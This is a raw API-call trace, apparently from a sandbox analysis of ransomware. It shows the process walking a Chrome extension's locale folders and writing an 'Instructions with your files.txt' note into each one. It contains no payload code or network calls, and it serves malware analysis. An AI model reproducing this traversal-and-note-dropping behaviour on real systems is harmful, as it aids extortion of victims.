[0129.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.707] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\.") returned 143
[0129.707] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.707] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\..") returned 144
[0129.707] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.707] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 155
[0129.707] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.707] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.707] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\Instructions with your files.txt") returned 174
[0129.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.707] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.708] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.708] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.708] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.708] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.709] CloseHandle (hObject=0x134) returned 1
[0129.709] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.709] GetProcessHeap () returned 0x810000
[0129.709] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.709] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.709] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja") returned 141
[0129.709] GetProcessHeap () returned 0x810000
[0129.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.709] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*") returned 143
[0129.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.709] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\.") returned 143
[0129.709] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.709] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\..") returned 144
[0129.709] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.709] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 155
[0129.709] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.709] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.709] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\Instructions with your files.txt") returned 174
[0129.710] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.710] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.711] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.711] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.711] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.711] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.711] CloseHandle (hObject=0x134) returned 1
[0129.711] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.711] GetProcessHeap () returned 0x810000
[0129.711] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.711] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1
[0129.711] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka") returned 141
[0129.711] GetProcessHeap () returned 0x810000
[0129.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.711] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*") returned 143
[0129.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.712] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\.") returned 143
[0129.712] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.712] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\..") returned 144
[0129.712] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.712] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 155
[0129.712] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.712] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.713] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\Instructions with your files.txt") returned 174
[0129.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.713] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.714] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.714] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.714] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.714] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.714] CloseHandle (hObject=0x134) returned 1
[0129.714] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.714] GetProcessHeap () returned 0x810000
[0129.714] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.714] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km", cAlternateFileName="")) returned 1
[0129.714] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km") returned 141
[0129.714] GetProcessHeap () returned 0x810000
[0129.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.715] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*") returned 143
[0129.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.715] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\.") returned 143
[0129.715] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.715] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\..") returned 144
[0129.715] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.715] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 155
[0129.715] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.715] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.715] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\Instructions with your files.txt") returned 174
